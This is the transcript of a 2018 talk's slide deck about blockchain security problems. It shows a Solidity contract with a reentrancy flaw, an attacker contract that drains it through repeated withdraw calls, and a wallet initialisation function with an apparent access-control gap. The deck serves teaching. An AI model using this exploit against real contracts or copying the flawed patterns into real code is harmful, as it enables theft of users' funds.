Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Issues in the Blockchain Ecosystem

Issues in the Blockchain Ecosystem

This is talk i did and the main idea is for people to understand what is wrong with the Blockchain and the solutions that are available for this problems.

NikolayAngelov

October 18, 2018
Tweet

More Decks by NikolayAngelov

Other Decks in Programming

Transcript

  1. contract HoneyPot { mapping (address => uint) public balances; function

    deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { require(balances[msg.sender] > 0); if (!msg.sender.call.value(balances[msg.sender])()) revert(); balances[msg.sender] = 0; } }
  2. contract HoneyPotHacker { HoneyPot private honeypot; function HoneyPotHacker(address a) public

    payable { honeypot = HoneyPot(a); } function collectMoney() public payable { honeypot.deposit.value(msg.value)(); honeypot.withdraw(); selfdestruct(msg.sender); } function() external payable { if (honeypot.balance >= msg.value) { honeypot.withdraw(); } } }
  3. function initWallet (address[] _owners, uint _required, uint _daylimit) only_uninitialized {

    initDaylimit(_daylimit); initMultiowned(_owners, _required); }
  4. Normal People Adoption is Hard Security is Hard 5% of

    the People cannot Remember Single Password People get Angry